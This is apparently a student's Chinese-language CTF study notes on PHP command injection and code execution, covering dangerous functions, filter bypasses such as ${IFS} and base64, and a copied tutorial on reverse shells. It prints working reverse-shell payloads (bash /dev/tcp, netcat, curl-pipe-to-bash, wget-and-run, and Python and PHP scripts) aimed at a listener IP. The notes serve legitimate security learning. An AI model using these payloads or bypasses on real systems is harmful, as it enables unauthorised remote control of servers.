命令执行-总结1.0
liduoan.efls Engineer

2020.04.08

现在在上马原课。不是很想听,或者说根本不想听。

刚好看到了合天的一个公众号写了命令注入的总结。

我想着,就花点时间写写看√

首先,我想说说命令注入的重要性。

命令注入,很多时候都需要使用到,我做过的题目里好多都是利用命令注入的。

可以说是基础的东西吧!基础很重要。

有一说一其实就那几个函数使用。

首先区分命令注入和远程代码执行

命令注入是调用了系统的命令。

远程代码执行是利用代码在服务器中执行。但是就我而言,我觉得两者是相关的。

命令执行原理:

在操作系统中,“&、|、||”都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令

代码执行原理:

调用一些执行系统命令的函数,如PHP中的system、exec、assert、shell_exec、passthru、popen、pcntl_exec等。

当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行,这就是命令执行漏洞。以上函数主要也在webshell中用的多,实际上在正常应用中差别不太大,用得最多的还是几个而已。

所以介绍介绍用的最多的函数叭!【干巴得 马原老师太捞了!

image

看到没! system会自己显示输出的!

image

exec函数就不会自动自己显示输出了。需要我们认为调用函数

echo()、var_dump()等等

image

下面是一些和上面比更有趣的函数

image

这个函数是做过一道题目的!所以详细说说这个函数

如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。 assertion 是字符串的优势是当禁用断言时它的开销会更小,并且在断言失败时消息会包含 assertion 表达式。 这意味着如果你传入了 boolean 的条件作为 assertion,这个条件将不会显示为断言函数的参数;在调用你定义的 assert_options() 处理函数时,条件会转换为字符串,而布尔值 FALSE 会被转换成空字符串。

记住!是当成php代码!不是当成系统命令!

image

这个又得说到了正则表达式。它是怎么利用的呢?

emm说实话,我理解的不深,还是不献丑了

大家先知道,存在这个方式的代码执行

参考:https://xz.aliyun.com/t/2557

当然还有很多有意思的函数可以进行命令执行。

在我们找到函数后,去利用的时候,经常会对参数进行过滤。

那么我们需要绕过它。【怎么绕过??…

补充: 反引号可以进行命令执行

一般来说:绕过方式无非

1、禁用函数

2、过滤字符

禁用函数的我不懂,先放着。

说说过滤字符

过滤了空格:用哪些代替? 【要耐心,有时候不是都可以成功

1
2
3
4
1、 <
2、${IFS}
3、$IFS$9
4、%09

这里解释一下${IFS},$IFS,$IFS$9的区别,首先$IFS在linux下表示分隔符,只有cat$IFSa.txt的时候,bash解释器会把整个IFSa当做变量名,所以导致没有办法运行,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用,而$9指的是当前系统shell进程的第九个参数的持有者,就是一个空字符串,因此$9相当于没有加东西,等于做了一个前后隔离 –源自合天智汇

过滤了某些截断符号:

1
$ ; | (  )  `(反引号)  ||  && & }  {  %0a

利用Base64编码绕过【我暂时还没遇到过

1
2
3
root@kali: echo 'cat' | base64
Y2F0Cg==
root@kali: echo 'Y2F0Cg==' | base64 -d

用单引号绕过特定字符

image

动态调用:

PHP中允许动态调用函数比如说:

1
2
3
4
<?php
$fun = "system";
$fun($_GET['cmd']);
?>

那么在我们可以利用多个变量,动态组成字符串绕过过滤√

好了,终于到了我最不会的反弹shell了

这个我服气。老多问题了。但是理清楚一点点了。

周五早上写清楚。


首先要搞清楚什么是反弹,为什么要反弹。
假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。

那么什么情况下正向连接不太好用了呢?
1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。它的ip会动态改变,你不能持续控制。
2.由于防火墙等限制,对方机器只能发送请求,不能接收请求。
3.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。

那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

此处源自:https://www.zhihu.com/question/24503813/answer/102253018

在CTF中,我们是使目标机访问我们的服务器,然后访问我们预先写好的代码。

这也目标机会反弹自己的shell到我们的服务器了。

典型的是:https://www.gem-love.com/ctf/2097.html#DuangShell

下面copy一下一位师傅的博客:https://www.jianshu.com/p/9456473a0a14

最近在做ctf题时碰到一些命令执行题借用命令执行来反弹shell,这里记录一下。

1.bash反弹shell

个人感觉bash反弹是最简单、也是最常见的一种。

1
bash -i >& /dev/tcp/192.168.20.151/8080 0>&1

bash一句话命令详解
以下针对常用的bash反弹一句话进行了拆分说明,具体内容如下。

image

其实以上bash反弹一句完整的解读过程就是:

bash产生了一个交互环境与本地主机主动发起与目标主机8080端口建立的连接(即TCP 8080 会话连接)相结合,然后在重定向个tcp 8080会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个bash 反弹环境。
在反弹shell时要借助netcat工具反弹

Netcat 一句话反弹:Netcat反弹也是非常常用的方法,只是这个方法需要我们手动去安装一个NC环境

开启外网主机监听

1
2
root@kali:~# nc -lvvp 8080
listening on [any] 8080 ...

kali : 192.168.20.151
centos:192.168.20.130

先用kali开启监听:
然后centos执行bash一句话。

image

image

成功反弹。

2.netcat 一句话反弹

1
2
~  nc 192.168.31.151 7777 -t  /bin/bash
命令详解:通过webshell我们可以使用nc命令直接建立一个tcp 8080 的会话连接,然后将本地的bash通过这个会话连接反弹给目标主机(192.168.31.151)。

先开启监听7777端口。

image

image

image

交互式反弹

3.curl反弹shell

前提要利用bash一句话的情况下使用curl反弹shell

在存在命令执行的服务器上执行curl ip|bash,该ip的index文件上含有bash一句话,就可以反弹shell。

例如在自己的服务器index上写上一句话

1
bash -i >& /dev/tcp/192.168.20.151/7777 0>&1

192.168.20.151就是作为监听端口的服务器用来得到反弹的shell。

image

存在一句话,利用curl反弹。
kali开启监听

image

image

4.wget方式反弹

利用wget进行下载执行

wget 192.168.20.130/shell.txt -O /tmp/x.php && php /tmp/x.php

利用下面贴出的php进行反弹。
开启监听

image

image

成功反弹shell

5.其他脚本反弹

python反弹

开启kail监听

image

image

反弹成功。
py脚本

1
2
3
4
5
6
7
8
9
#!/usr/bin/python
#-*- coding: utf-8 -*-
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.20.151",7777)) #更改localhost为自己的外网ip,端口任意
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

php反弹

开启kail监听端口,

image

image

成功反弹,不过这里要将php保存成txt文件进行反弹,若为php文件不会反弹成功。
php脚本:

1
2
3
4
<?php
$sock=fsockopen("192.168.20.151",7777);//localhost为自己的外网ip,端口任意
exec("/bin/sh -i <&3 >&3 2>&3");
?>

反弹shell我大致上了解了。但是很浅薄。

等我又遇到这样的题目再说叭。